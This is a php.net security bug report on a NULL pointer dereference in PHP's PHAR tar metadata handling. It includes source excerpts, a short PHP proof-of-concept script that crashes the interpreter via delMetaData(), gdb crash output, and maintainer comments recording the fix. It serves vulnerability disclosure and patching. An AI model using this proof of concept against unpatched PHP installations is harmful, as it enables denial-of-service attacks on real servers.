php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71391 NULL Pointer Dereference in phar_tar_setupmetadata()
Submitted: 2016-01-16 18:46 UTC Modified: 2016-02-02 03:17 UTC
From: manhluat at vnsecurity dot net Assigned: stas (profile)
Status: Closed Package: PHAR related
PHP Version: 5.5.31 OS: Linux, Mac
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: manhluat at vnsecurity dot net
New email:
PHP Version: OS:

 

 [2016-01-16 18:46 UTC] manhluat at vnsecurity dot net
Description:
------------
There is a NULL Pointer Dereference issue in .tar's metadata parsing.



----------------------------------------------
phar_object.c:

PHP_METHOD(Phar, delMetadata)
{
...

	if (phar_obj->arc.archive->metadata) {
		zval_ptr_dtor(&phar_obj->arc.archive->metadata);
		phar_obj->arc.archive->metadata = NULL;
		phar_obj->arc.archive->is_modified = 1;
		phar_flush(phar_obj->arc.archive, 0, 0, 0, &error TSRMLS_CC);
...
}

----------------------------------------------
phar.c:

int phar_flush(phar_archive_data *phar, char *user_stub, long len, int convert, char **error TSRMLS_DC) /* {{{ */
{
...
	if (phar->is_tar) {
		return phar_tar_flush(phar, user_stub, len, convert, error TSRMLS_CC);
	}

----------------------------------------------
tar.c:
static int phar_tar_setupmetadata(void *pDest, void *argument TSRMLS_DC) /* {{{ */
{
...
		if (entry->filename_len == sizeof(".phar/.metadata.bin")-1 && !memcmp(entry->filename, ".phar/.metadata.bin", sizeof(".phar/.metadata.bin")-1)) {
			return phar_tar_setmetadata(entry->phar->metadata, entry, error TSRMLS_CC);
...

----------------------------------------------


If metadata already exists on this PharData file, it will assign NULL to phar_obj->arc.archive->metadata.

a bit later, phar_tar_flush is called then, which try to call phar_tar_setupmetadata()

In phar_tar_setupmetadata, it will then call phar_tar_setmetadata(entry->phar->metadata, entry, error TSRMLS_CC);

Since entry->phar->metadata has been assigned by NULL before. then it will crash as expected.



* Notice
- Tested on Linux, Mac. PoC should work on Windows as well, i believe.


Test script:
---------------
<?php 

$fname = "poc.tar";

$p = new PharData($fname);

if ($argc<2){

echo "Make .tar file\n";
$p->addFromString("something","something");
$p->setMetaData("bbbb");

} else {

echo "Trigger...\n";
$p->delMetaData();

}
?>

Expected result:
----------------
root@ubuntu:~/test/php-5.6.17/hihi# ../sapi/cli/php test.php
Make .tar file
root@ubuntu:~/test/php-5.6.17/hihi# ../sapi/cli/php test.php go
Trigger...
Segmentation fault (core dumped)
root@ubuntu:~/test/php-5.6.17/hihi# 

Actual result:
--------------
gdb-peda$ r test.php go
Starting program: /root/test/php-5.6.17/sapi/cli/php test.php go
Trigger...

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xf7bdd2dc --> 0x10 
EBX: 0x8804000 --> 0x8803dd8 --> 0x1 
ECX: 0x4 
EDX: 0x0 
ESI: 0xf7bd9428 --> 0x0 
EDI: 0x881c560 --> 0x0 
EBP: 0xf7bd9428 --> 0x0 
ESP: 0xffff9b80 --> 0x8820a58 --> 0x1 
EIP: 0x821e9d0 (<php_var_serialize_intern+112>: cmp    BYTE PTR [edx+0xc],0x5)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x821e9c8 <php_var_serialize_intern+104>:    mov    eax,DWORD PTR [esp+0x28]
   0x821e9cc <php_var_serialize_intern+108>:    test   eax,eax
   0x821e9ce <php_var_serialize_intern+110>:    je     0x821ea48 <php_var_serialize_intern+232>
=> 0x821e9d0 <php_var_serialize_intern+112>:    cmp    BYTE PTR [edx+0xc],0x5
   0x821e9d4 <php_var_serialize_intern+116>:    mov    DWORD PTR [esp+0x30],edx
   0x821e9d8 <php_var_serialize_intern+120>:    jne    0x821ea68 <php_var_serialize_intern+264>
   0x821e9de <php_var_serialize_intern+126>:    mov    eax,DWORD PTR [edx+0x4]
   0x821e9e1 <php_var_serialize_intern+129>:    mov    eax,DWORD PTR [eax+0x48]
[------------------------------------stack-------------------------------------]
0000| 0xffff9b80 --> 0x8820a58 --> 0x1 
0004| 0xffff9b84 --> 0xc ('\x0c')
0008| 0xffff9b88 --> 0x109 
0012| 0xffff9b8c --> 0x8289e8b (<_zend_mm_alloc_int+411>:       mov    ecx,DWORD PTR [esp+0x14])
0016| 0xffff9b90 --> 0x5 
0020| 0xffff9b94 --> 0xf7d5a74f (<__memcpy_ssse3_rep+31>:       add    ebx,0x37471)
0024| 0xffff9b98 --> 0x8804000 --> 0x8803dd8 --> 0x1 
0028| 0xffff9b9c --> 0x82c11f6 (<_zend_hash_index_update_or_next_insert+214>:   mov    ecx,DWORD PTR [esp+0xc])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
php_var_serialize_intern (buf=buf@entry=0xf7bd9428, struc=0x0, var_hash=0xf7bdd2dc) at /root/test/php-5.6.17/ext/standard/var.c:716
716             if (var_hash && php_add_var_hash(var_hash, struc, (void *) &var_already TSRMLS_CC) == FAILURE) {
gdb-peda$ bt
#0  php_var_serialize_intern (buf=buf@entry=0xf7bd9428, struc=0x0, var_hash=0xf7bdd2dc) at /root/test/php-5.6.17/ext/standard/var.c:716
#1  0x08224e5e in php_var_serialize (buf=buf@entry=0xf7bd9428, struc=struc@entry=0xffff9cd0, var_hash=var_hash@entry=0xffff9cbc) at /root/test/php-5.6.17/ext/standard/var.c:905
#2  0x0815adae in phar_tar_setmetadata (metadata=0x0, entry=entry@entry=0xf7bd93dc, error=error@entry=0xffffa05c) at /root/test/php-5.6.17/ext/phar/tar.c:848
#3  0x0815b197 in phar_tar_setupmetadata (pDest=0xf7bd93dc, argument=0xffff9e0c) at /root/test/php-5.6.17/ext/phar/tar.c:883
#4  0x082c1b59 in zend_hash_apply_with_argument (ht=ht@entry=0xf7bd9b28, apply_func=apply_func@entry=0x815af60 <phar_tar_setupmetadata>, argument=argument@entry=0xffff9e0c) at /root/test/php-5.6.17/Zend/zend_hash.c:666
#5  0x0815b456 in phar_tar_flush (phar=phar@entry=0xf7bd9afc, user_stub=0x0, len=<optimized out>, len@entry=0x0, defaultstub=defaultstub@entry=0x0, error=error@entry=0xffffa05c) at /root/test/php-5.6.17/ext/phar/tar.c:1165
#6  0x08172716 in phar_flush (phar=0xf7bd9afc, user_stub=user_stub@entry=0x0, len=len@entry=0x0, convert=convert@entry=0x0, error=error@entry=0xffffa05c) at /root/test/php-5.6.17/ext/phar/phar.c:2584
#7  0x08176286 in zim_Phar_delMetadata (ht=0x0, return_value=0xf7bd8a00, return_value_ptr=0xf7bbf084, this_ptr=0xf7bd8a1c, return_value_used=0x0) at /root/test/php-5.6.17/ext/phar/phar_object.c:4091
#8  0x083615c0 in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:558
#9  0x082f1446 in execute_ex (execute_data=execute_data@entry=0xf7bbf140) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:363
#10 0x0835f272 in zend_execute (op_array=0xf7bd8f40) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:388
#11 0x082b4c1e in zend_execute_scripts (type=type@entry=0x8, retval=retval@entry=0x0, file_count=file_count@entry=0x3) at /root/test/php-5.6.17/Zend/zend.c:1341
#12 0x0824ef3e in php_execute_script (primary_file=primary_file@entry=0xffffc438) at /root/test/php-5.6.17/main/main.c:2597
#13 0x08363473 in do_cli (argc=argc@entry=0x3, argv=argv@entry=0x8820888) at /root/test/php-5.6.17/sapi/cli/php_cli.c:994
#14 0x08063f04 in main (argc=0x3, argv=0x8820888) at /root/test/php-5.6.17/sapi/cli/php_cli.c:1378
#15 0xf7c40a83 in __libc_start_main (main=0x80639f0 <main>, argc=0x3, argv=0xffffd744, init=0x836c520 <__libc_csu_init>, fini=0x836c590 <__libc_csu_fini>, rtld_fini=0xf7feb180 <_dl_fini>, stack_end=0xffffd73c) at libc-start.c:287
#16 0x08063f8a in _start ()
gdb-peda$ 

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-01-17 04:29 UTC] stas@php.net
-PHP Version: 5.6.17 +PHP Version: 5.5.31
 [2016-01-17 04:29 UTC] stas@php.net
Also happens on 5.5
 [2016-01-17 04:45 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-01-17 04:45 UTC] stas@php.net
The fix is in security repo under 1c1b8b69982375700d4b011eb89ea48b66dbd5aa and in https://gist.github.com/smalyshev/673e1604f965e3d8a8dd. Please check.
 [2016-01-17 05:24 UTC] manhluat at vnsecurity dot net
well, the issue is fixed.
 [2016-01-17 05:29 UTC] stas@php.net
Thanks, the fix will be released with next PHP version (sometime early February).
 [2016-02-02 03:19 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1c1b8b69982375700d4b011eb89ea48b66dbd5aa
Log: Fix bug #71391: NULL Pointer Dereference in phar_tar_setupmetadata()
 [2016-02-02 03:19 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-02-02 03:36 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1c1b8b69982375700d4b011eb89ea48b66dbd5aa
Log: Fix bug #71391: NULL Pointer Dereference in phar_tar_setupmetadata()
 [2016-02-02 04:46 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1c1b8b69982375700d4b011eb89ea48b66dbd5aa
Log: Fix bug #71391: NULL Pointer Dereference in phar_tar_setupmetadata()
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 14:01:29 2024 UTC